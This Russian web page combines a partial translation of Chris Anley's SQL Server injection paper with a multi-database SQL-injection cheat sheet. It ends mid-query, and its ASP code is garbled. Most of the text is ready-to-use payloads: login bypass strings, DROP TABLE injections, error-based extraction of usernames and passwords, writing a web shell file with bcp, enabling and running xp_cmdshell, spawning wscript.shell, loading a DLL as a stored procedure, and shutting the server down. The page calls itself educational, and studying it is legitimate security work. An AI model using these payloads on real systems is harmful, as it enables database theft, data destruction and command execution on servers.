Телевизоры. Приставки. Проекторы и аксессуары. Технологии. Цифровое ТВ

Как можно удаленно выполнять команды, используя SQL injection? Что мы должны искать

Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. ()
В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.

P.S. Перевод будет интересен более в образовательных и исторических целях.

Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.

Аннотация

В данной статье подробно рассматриваются общие способы "SQL-инъекции", для известной платформы Microsoft Internet Information Server/Active Server Pages/SQL Server. В ней обсуждаются различные варианты использования инъекции SQL в приложениях и объясняются методы проверки данных, а также защита баз данных, в которых могут быть использованы инъекции.

Введение

Structured Query Language (SQL) - это структурированный язык, используемый для взаимодействия с базами данных. Существует множетсво "диалектов" языка SQL, но сегодня, в основном, все они построены на основе стандарта SQL-92, один из ранних ANSI стандартов. Основной операционный блок SQL - запрос (query), который является совокупностью выражений, которые обычно возвращают совокупность результатов (result set). SQL выражения могут изменять структуру баз данных (используя выражения языков определения данных - DLL) и управлять их содержанием (используя выражения языков манипулирования данными - DML). В данной работе, мы рассмотрим transact-SQL, использующийся в Microsoft SQL Server.

SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.

Обычное SQL выражение выглядит следующим образом:

Select id, forename, surname from authors

Это выражение берет "id", "forename" и "surname" из колонок таблицы "authors" и возвращает все строки в таблице. Выборка может быть ограниченна, определенным "автором", например:

Select id, forename, surname from authors where forename = "john" and surname = "smith"

Необходимо отметить, что в данном запросе строковые литералы разделены одинарной кавычкой. Предполагается, что "forename" и "surrname" являются данными, которые вводятся пользователем. В данном случае злоумышленник будет способен внести собственный SQL-запрос, путем добавления собственных значений в приложение. Например:

Forename: jo"hn Surname: smith

Тогда выражение примет следующий вид:

Select id, forename, surname from authors where forename = "jo"hn" and surname = "smith"

После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:

Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".

Причина ошибки будет заключаться в том, что введенная одиночная кавычка испортит структуру разделителей в запросе. Таким образом, база данных безуспешно попытается выполнить команду "hn", которая приведет к ошибке. В итоге, если злоумышленник введет в форму следующую информацию:

Forename: jo"; drop table authors-- Surname:

Таблица "authors" будет удалена, почему это произойдет мы рассмотрим позже.

Вам может показаться, что если мы будем удалять одиночные кавычки из формы ввода, а также "заменять" их, это может решить нашу проблему. И вы будете правы, однако существуют некоторые проблемы с использованием этого способа, в качестве решения данной задачи. Во-первых, не вся вводимая пользователем информация является "строками" (strings). Если пользовательская форма будет содержать "id" автора, который обычно является числом. Например, наш запрос может выглядеть следующим образом:

Select id, forename, surname from authors where id=1234

В данном случае взломщик беспрепятственно сможет добавить любое SQL-выражение в после численных данных. В других разновидностях SQL-запросов, используются различные разграничители. Например, в Microsoft Jet DBMS разграничителем будет символ "#". Во-вторых, "избегание" ("escaping") одиночных кавычек вовсе не самый простой способ защиты, как это может показаться сперва. Подробнее об этом мы поговорим далее.

Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.

Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.

Login Page Login

Username:
Password:

Ниже код (process_login.asp), определяющий корректность введенных данных.

p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} if (rso.EOF) { rso.close(); ACCESS DENIED } else{ %> 0) { Login(cn); } } cn.close(); Main(); %>

Уязвимость здесь содержиться в "process_login.asp", который создает запрос следующего вида:

Var sql = "select * from users where username = "" + username + "" and password = "" + password + """;

Если пользователь введет:

Username: "; drop table users-- Password:

таблица "users" будет удалена, что закроет доступ к приложению для всех пользователей. Сочетание "--" в Transact-SQL определяет однострочный комментарий, а ";" обозначает конец одной строки и начало другой. Два последовательных тире в данном запросе используются с целью завершить запрос без ошибок.

Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию:

Username: admin"--

А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя:

Username: " union select 1, "fictional_user", "some_password", 1--

Причиной работоспособности этого способа заключается в том, что приложение "поверит", что вернувшийся фиктивный результат является набором записей из базы данных.

Получение информации, основываясь на сообщениях об ошибках

Изобретателем этой методики является David Litchfield, исследователь в области испытаний на проникновение (с целью проверки системы защиты). Позже David написал работу на эту тему, на которую ссылались многие другие авторы. В его работе объясняется механизм, использования сообщений об ошибках - "error message" technique. В своем труде он полностью объясняет читателям данную методику, и дает дальнейший толчок в развитии собственного понимания данной проблемы.

Для успешного управления данными, злоумышленник должен знать структуру баз и таблиц, к которым он хочет получить доступ. Например, таблица наших "users" создана при помощи следующей комманды:

Create table users(id int, username varchar(255), password varchar(255), privs int)

И содержит следующих пользователей:

Insert into users values(0, "admin", "r00tr0x!", 0xffff) insert into users values(0, "guest", "guest", 0x0000) insert into users values(0, "chris", "password", 0x00ff) insert into users values(0, "fred", "sesame", 0x00ff)

Предположим наш хакер хочет вставить собственную запись в таблицу. Вряд ли ему это удастся, если он не знает её структуры. Но даже если ему это и удастся, то значение поля "privs" так и останется непонятным. Взломщик может вставить значение "1", создав себе аккаунт с низкими привелегиями, в то время как ему необходим доступ на уровне администратора приложения.

К счастью, для хакера стандартное поведение ASP на ошибки - отображение сообщений о них, с их помощью полностью определив структуру базы данных, а следовательно узнать значения всех полей из аккаунтов пользователей, которые занесены в базу приложения.

(В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.)

Во-первых, взломщик захочет установить имена таблиц, с которыми работают запросы, а также имена полей. Для достижения поставленной цели злоумышленник будет использовать конструкцию "having" в select выражения:

Username: " having 1=1--

Которое вызовет следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35

Таким образом, зная имена таблиц и имя первой колонки в ней. Эту процедуру можно продолжать при помощи оператора "group by", как показано ниже:

Username: " group by users.id having 1=1--

(которое в свою очередь породит новую ошибку)

Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.username" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. В итоге хакер придет следующей конструкции:
" group by users.id, users.username, users.password, users.privs having 1=1--
Которая не вызовет ошибки и будет эквивалентна:
select * from users where username = ""
Таким образом, злоумышленник узнает, что запрос затрагивает лишь таблицу "users", структура которой "id, username, password, privs" (именно в этом порядке). Полезной эта информация будте в том случае, если удастся узнать тип данных, который используется в каждой из колонок. Информацию о типе данных можно получить, используя "преобразование типов", например:
Username: " union select sum(username) from users--
Смысл функции summ() заключается в том, что SQL server пытается выполнить ее до того как определит является ли значение численным или символьным. Попытка вычислить "сумму" текстового поля приведет к следующей ошибке:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07" The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
Которое сообщает нам, что тип данных в поле "username" - varchar. С другой стороны, если мы попытаемся вычислить sum() численного типа, то получим сообщение уведомляющее, что число символов в наборе двух текстовых строк не совпадает:
Username: " union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error "80040e14" All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
Мы можем использовать подобную технику для определения типа данных практически любой колонки, любой табилцы, находящейся в базе данных. Что в свою очередь поможет злоумышленнику сформировать хорошо составленный "insert" запрос, например:
Username: "; insert into users values(666, "attacker", "foobar", 0xffff)--
Однако, для возможности алгоритма на этом не заканчиваются. Хакер может получить полезную информацию из ошибок об окружении или самой базе данных. Список стандартных ошибок можно добыть используя конструкцию:
select * from master..sysmessages
Выполнив этот запрос можно получить много занимательной информации. Особенно полезными являются сведения о конвертации типов. Если вы попытаетесь сконвертировать string в integer, вернется сообщение, содержащее в себе весь контент string. В нашем примере, преобразование "username" вернет версию SQL server"а, а также версию операционной системы.
Username: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) " to a column of data type int. /process_login.asp, line 35
В приведенном примере мы попытаемся преобразовать встроенную константу "@@version" в целочисленное значение, так как первая колонка в таблице "users" имеет это тип данных. Метод может быть использован для чтения любого значения в любой таблице в базе данных. Таким образом, если злоумышленник захочет узнать имена пользователей и пароли, то скорее всего для чтения данных он воспользуется следующей конструкцией:
Username: " union select min(username),1,1,1 from users where username > "a"--
При выборе пользователя, "username" которого больше чем "а" приведет к попытке преобразования типов к целочисленному значению:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "admin" to a column of data type int. /process_login.asp, line 35
Таким образом, мы получим список пользователей, после чего сможем перейти к получению паролей:
Username: " union select password,1,1,1 from users where username = "admin"-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value "r00tr0x!" to a column of data type int. /process_login.asp, line 35
Более изящный способ - выделить все имена пользователей и пароли в одной выборке, а затем попытаться преобразовать их к целочисленному значению. Необходимо отметить, что выражения Transact-SQL могут быть собраны вмсте в одну строку не изменяя своего значения - рассмотрим следующий пример:
begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end
Очевидно, что злоумышленник "зайдет" с эти именем пользователя:
Username: "; begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end--
Этот запрос создаст таблицу foo, которая будет содержать единственную колонку "ret", в которой будут находиться все наши строки. Зачастую даже пользователь с низкими привелегиями имеет возможность создать таблицу в базе данных, или даже временную базу данных. Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
Username: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value ": admin/r00tr0x! guest/guest chris/password fred/sesame" to a column of data type int. /process_login.asp, line 35
А после заметет следы, удалив таблицу:
Username: "; drop table foo--
Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается. /process_login.asp, line 35

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL .

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (возможно на других БД);
* (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin" --
Сгенерированный запрос: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.


Зелёный - поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
пример:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII("a")
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin" --
admin" #
admin"/*
" or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
" union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo(строка типа varchar(8000))
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping "

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ("First User", "Second User")
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id

Похожие публикации